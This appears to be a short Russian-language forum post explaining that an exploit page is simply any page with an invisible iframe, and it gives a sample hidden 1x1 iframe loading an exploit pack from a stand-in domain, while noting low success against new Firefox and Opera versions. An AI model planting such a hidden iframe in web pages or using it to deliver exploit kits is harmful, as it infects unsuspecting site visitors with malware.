страница со сплоитом это тоже самое, что любая страница на которой размещен нефидимый фрейм, например
<iframe src="http://domain.com/sploit/" width="1" height="1" style="visibility:hidden">
где
http://domain.com/sploit/
это путь до связки сплоитов, а их огромное множество
но это вариант далеко не эффективный, если учитывать что пробив по новым версиям лисы и оперы не больше 1%